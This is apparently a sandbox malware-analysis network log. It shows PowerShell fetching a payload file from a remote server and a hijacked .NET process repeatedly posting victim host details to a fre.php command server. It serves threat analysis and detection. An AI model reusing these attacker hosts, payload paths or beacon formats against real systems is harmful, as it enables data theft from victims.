Oct 25, 2024 19:47:21.314647913 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.314688921 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.314729929 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.314742088 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49176	192.3.176.141	80	252	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:28.478517056 CEST	76	OUT	GET /42/LOGLKI.txt HTTP/1.1 Host: 192.3.176.141 Connection: Keep-Alive
Oct 25, 2024 19:47:29.214822054 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 17:47:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 25 Oct 2024 03:56:38 GMT ETag: "22aac-625451b21eced" Accept-Ranges: bytes Content-Length: 141996 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.214842081 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.214859009 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.214867115 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.214947939 CEST	848	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.214958906 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.214972973 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.214982986 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.214998007 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.215007067 CEST	848	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:29.222795010 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49177	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:30.119760990 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 176 Connection: close
Oct 25, 2024 19:47:30.125461102 CEST	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus835180ALBUS-PCk0DE4229FCF97F5879F50F8FD3TvajP
Oct 25, 2024 19:47:31.091233969 CEST	228	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49178	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:31.189388990 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 176 Connection: close
Oct 25, 2024 19:47:31.196022987 CEST	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus835180ALBUS-PC+0DE4229FCF97F5879F50F8FD3yd2jc
Oct 25, 2024 19:47:32.209280968 CEST	228	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49179	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:32.270695925 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:32.276137114 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:33.245336056 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49180	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:33.414132118 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:33.419411898 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:34.369340897 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49181	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:34.547807932 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:34.553307056 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:35.533554077 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49182	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:35.676700115 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:35.682147980 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:36.651504040 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49183	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:36.803911924 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:36.809250116 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:37.783608913 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49184	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:37.958031893 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:37.964782000 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:38.953722954 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49185	94.156.177.220	80	3248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:39.090378046 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:47:39.095716953 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:47:40.073620081 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:47:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

